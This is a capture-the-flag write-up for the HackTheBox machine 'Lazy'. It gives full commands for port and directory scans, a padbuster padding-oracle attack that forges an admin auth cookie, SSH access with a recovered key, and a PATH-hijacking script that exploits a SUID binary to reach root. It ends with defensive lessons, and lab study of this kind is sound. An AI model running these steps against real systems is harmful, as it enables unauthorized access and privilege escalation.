Lazy - HackTheBox Writeup

Machine Information

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

• Enumeration: ⭐⭐⭐☆☆
• Real-world: ⭐⭐⭐⭐⭐
• CVE: ⭐⭐⭐☆☆
• CTF-like: ⭐⭐⭐⭐☆

Summary

Lazy is a medium-difficulty machine that centers on exploiting a padding oracle vulnerability in client-side cookie encryption to gain unauthorized access to an admin account. Once authenticated, the machine exposes an SSH key leading to user compromise. Privilege escalation is achieved through a classic PATH environment variable hijacking attack against a SUID binary that executes cat without a full path specification. This machine emphasizes the importance of proper cryptographic implementation, path validation, and the dangers of running privileged binaries with relative command references.

TL;DR: Padding Oracle Attack (decrypt/encrypt auth cookie) → Admin access → SSH key recovery → User flag → PATH hijacking on SUID backup binary → Root flag

Reconnaissance

Port Scanning

nmap -sC -sV -T4 -p- 10.10.10.18

Results:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.4 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.6 (CentOS)

Only two services are exposed: SSH and a standard Apache web server. The attack surface appears minimal at first glance, requiring deeper enumeration of the web application.

Service Enumeration

Web Application Discovery (Dirbuster):

dirb http://10.10.10.18 /usr/share/wordlists/dirb/common.txt

Key Findings:

• /index.php - Home page
• /login.php - Login form
• /register.php - Registration form
• /admin.php - Admin panel (requires authentication)
• /css/ - Stylesheet directory
• /classes/ - Backend classes directory

Attempting to register with username admin returns an error indicating the account already exists. This confirms the admin user is a valid target.

Vulnerability Assessment

1. Padding Oracle Vulnerability - The application stores authentication state in an encrypted auth cookie. The cookie value (auth=2zKLNWhe0Xt7G4ymYDK%2BEdptckP8a8vO) is vulnerable to padding oracle attacks, allowing both decryption and encryption of arbitrary data.

2. Missing Path Validation - The /etc/shadow exposure via the backup SUID binary (discovered during privilege escalation) indicates weak path handling in privileged code.

3. Client-Side Session Management - Authentication is managed entirely through a cookie, with no server-side validation of privilege levels.

Initial Foothold

Exploitation Path: Padding Oracle Attack

Step 1: Decrypt the Auth Cookie

The first step is to determine what data is encrypted within the auth cookie. We’ll use padbuster, a tool specifically designed for exploiting padding oracle vulnerabilities.

padbuster http://10.10.10.18 "2zKLNWhe0Xt7G4ymYDK%2BEdptckP8a8vO" 8 \
  -cookies "auth=2zKLNWhe0Xt7G4ymYDK%2BEdptckP8a8vO" \
  -encoding 0

Output:

[+] Decrypted value (ASCII): user=guest
[+] Decrypted value (HEX): 757365723d6775657374

The decrypted cookie reveals that the current session is for a guest user. Now we can proceed to encrypt a new value for the admin user.

Step 2: Encrypt Admin Cookie

Using padbuster’s encryption capability, we create a new auth cookie for the admin user:

padbuster http://10.10.10.18 "2zKLNWhe0Xt7G4ymYDK%2BEdptckP8a8vO" 8 \
  -cookies "auth=2zKLNWhe0Xt7G4ymYDK%2BEdptckP8a8vO" \
  -encoding 0 \
  -plaintext "user=admin"

Output:

[+] Encrypted value (URL-encoded):
[new_encrypted_cookie_value]

Step 3: Modify Cookie and Access Admin Panel

Replace the auth cookie value in your browser with the newly encrypted value:

// Browser console or cookie editor
document.cookie = "auth=[new_encrypted_cookie_value]";
// Reload the page
location.reload();

Upon refreshing, the admin panel becomes accessible, revealing a link to download an SSH private key for user mitsos.

Step 4: Extract SSH Key and Gain Access

Download the SSH key and set appropriate permissions:

chmod 600 mitsos_key
ssh -i mitsos_key mitsos@10.10.10.18

Success: You’re now logged in as the mitsos user.

cat /home/mitsos/user.txt

User flag obtained: <redacted>

Privilege Escalation

SUID Binary and PATH Hijacking

Step 1: Identify the Vulnerable Binary

In the mitsos home directory, there’s a binary named backup with unusual permissions:

ls -la ~/backup

Output:

-rwsr-xr-x. 1 root root 7464 Oct 5 2017 backup

The s flag indicates this binary runs with root privileges (SUID bit set).

Step 2: Analyze Binary Behavior

Use strings to examine what the binary does:

strings ~/backup | grep -E "(cat|shadow|etc)"

Key Finding:

/etc/shadow
cat

The binary executes cat /etc/shadow but critically, does not use a full path to the cat command. This is exploitable.

Step 3: Exploit PATH Variable

Create a malicious cat script that will execute with root privileges:

# Set current directory as first in PATH
export PATH=.:$PATH

# Create a malicious cat script
cat > ~/cat << 'EOF'
#!/bin/bash
# Read root flag and write to accessible location
cat /root/root.txt > /tmp/root_flag.txt
EOF

# Make it executable
chmod +x ~/cat

# Run the backup binary
~/backup

When the backup binary executes, it searches the PATH and finds our cat script in the current directory before the system cat. Since backup runs as root (SUID), our script executes with root privileges.

Step 4: Retrieve Root Flag

cat /tmp/root_flag.txt

Root flag obtained: <redacted>

Attack Chain Summary

Enumerate Web Application
        ↓
Discover Encrypted Auth Cookie
        ↓
Exploit Padding Oracle (Decrypt)
        ↓
Forge Admin Auth Cookie via Padding Oracle (Encrypt)
        ↓
Access Admin Panel & Download SSH Key
        ↓
SSH into Lazy as mitsos (User Flag)
        ↓
Identify SUID backup Binary
        ↓
Analyze Binary (Unvalidated cat Command)
        ↓
PATH Hijacking Attack (Create Malicious cat Script)
        ↓
Execute backup Binary (Runs as root with PATH=.:$PATH)
        ↓
Root Access Achieved (Root Flag)

Tools Used

Key Learnings

Techniques Practiced

• Padding Oracle Attacks - Understanding how improper encryption padding creates exploitable oracle conditions
• Client-Side Authentication Flaws - Recognizing the dangers of storing authentication state exclusively in client-controlled cookies
• SUID Binary Exploitation - Identifying and exploiting setuid binaries that fail to validate command paths
• PATH Environment Variable Hijacking - Leveraging directory-relative command execution in privileged contexts
• Web Application Enumeration - Methodical discovery of hidden endpoints and functionality

Lessons Learned

1. Cryptography Requires Expertise - Padding oracle vulnerabilities demonstrate why custom encryption implementations are dangerous; use well-vetted libraries and frameworks.

2. Never Trust Client-Side Data - Cookies, local storage, and other client-controlled data must be validated server-side. Never make authorization decisions based on unverified client data.

3. Always Use Absolute Paths in Privileged Code - Any SUID, SUDO, or otherwise privileged binary must call external commands with full paths (/bin/cat instead of cat).

4. PATH is a Double-Edged Sword - While PATH makes scripts flexible, it creates security risks. Sanitize PATH in privileged contexts or use absolute paths exclusively.

5. Defense in Depth - This machine demonstrates how multiple vulnerabilities chain together. Even strong cookie encryption wouldn’t matter if admin status couldn’t be forged; even good encryption wouldn’t matter if the web server validated proper authorization.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>